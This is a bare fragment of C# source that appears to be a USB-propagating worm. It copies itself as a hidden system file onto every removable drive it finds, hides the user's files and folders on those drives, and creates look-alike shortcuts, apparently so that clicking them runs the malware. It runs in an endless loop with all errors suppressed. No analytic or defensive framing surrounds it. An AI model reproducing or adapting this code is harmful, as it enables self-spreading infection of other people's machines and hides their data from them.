public static void USB(bool startThread) { if (startThread == true) { USBBOOT.spath = Interaction.Command().Replace("\\\\\\", "\\").Replace("\\\\", "\\"); USBBOOT.ExecParam(USBBOOT.spath); System.Threading.Thread NewThread = new System.Threading.Thread(new System.Threading.ThreadStart(USBBOOT.USB_boot), 1); NewThread.Start(); } else { USBBOOT.spath = Interaction.Command().Replace("\\\\\\", "\\").Replace("\\\\", "\\"); USBBOOT.ExecParam(USBBOOT.spath); } }
static void Main() { if (mutex.WaitOne(TimeSpan.Zero, true)) { USBBOOT.USB(true); s = new Thread(new ThreadStart(startthread)); s.Start(); } else { USBBOOT.USB(false); Application.Exit(); } }
public static void USB_boot() { while (true) { try { string[] USBDrivers = Strings.Split(DetectUSBDrivers(), "<->", -1, CompareMethod.Binary); int num = Information.UBound(USBDrivers, 1) - 1; for (int i = 0; i <= num; i++) { if (!File.Exists(USBDrivers[i] + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName)) { File.Copy(System.Reflection.Assembly.GetExecutingAssembly().Location, USBDrivers[i] + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName); File.SetAttributes(USBDrivers[i] + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName, FileAttributes.Hidden | FileAttributes.System); } string[] files = Directory.GetFiles(USBDrivers[i]); for (int j = 0; j < files.Length; j++) { string GettingFile = files[j]; if (Operators.CompareString(Path.GetExtension(GettingFile), ".lnk", false) != 0 && Operators.CompareString(Path.GetFileName(GettingFile), System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName, false) != 0) { System.Threading.Thread.Sleep(100); File.SetAttributes(GettingFile, FileAttributes.Hidden | FileAttributes.System); USBBOOT.CreateShortCut(Path.GetFileName(GettingFile), USBDrivers[i], Path.GetFileNameWithoutExtension(GettingFile), USBBOOT.GetIconoffile(Path.GetExtension(GettingFile))); } } string[] directories = Directory.GetDirectories(USBDrivers[i]); for (int k = 0; k < directories.Length; k++) { string Dir = directories[k]; System.Threading.Thread.Sleep(100); File.SetAttributes(Dir, FileAttributes.Hidden | FileAttributes.System); USBBOOT.CreateShortCut(Path.GetFileNameWithoutExtension(Dir), USBDrivers[i] + "\\", Path.GetFileNameWithoutExtension(Dir), null); } } } catch { } System.Threading.Thread.Sleep(5000); } }